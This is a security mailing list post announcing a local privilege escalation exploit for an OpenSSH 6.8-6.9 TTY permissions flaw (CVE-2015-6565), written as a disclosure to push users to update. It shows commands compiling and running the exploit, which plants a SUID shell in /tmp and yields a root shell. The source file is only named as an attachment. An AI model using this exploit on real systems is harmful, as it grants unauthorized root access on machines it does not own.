Date: Thu, 26 Jan 2017 10:07:24 +0100 From: up201407890@...nos.dcc.fc.up.pt To: oss-security@...ts.openwall.com Subject: Re: OpenSSH: CVE-2015-6565 (pty issue in 6.8-6.9) can lead to local privesc on Linux Hi list, I know I'm late to the party, but I was bored, so I decided to write an exploit for CVE-2015-6565 which affects OpenSSH 6.8-6.9 It is mostly considered to be a "DoS", even though Jann Horn publicly told how it could be exploited for local privilege escalation, but I guess its either PoC||GTFO for users to update. From https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-6565 "sshd in OpenSSH 6.8 and 6.9 uses world-writable permissions for TTY devices, which allows local users to cause a denial of service (terminal disruption) or possibly have unspecified other impact by writing to a device, as demonstrated by writing an escape sequence." I think the description should be updated. $ gcc not_an_sshnuke.c -o not_an_sshnuke $ ./not_an_sshnuke /dev/pts/3 [*] Waiting for slave device /dev/pts/3 [+] Got PTY slave /dev/pts/3 [+] Making PTY slave the controlling terminal [+] SUID shell at /tmp/sh $ /tmp/sh --norc --noprofile -p # id euid=0(root) groups=0(root) Thanks, Federico Bento. ---------------------------------------------------------------- This message was sent using IMP, the Internet Messaging Program. View attachment "not_an_sshnuke.c" of type "text/x-csrc" (2039 bytes) text/x-csrc

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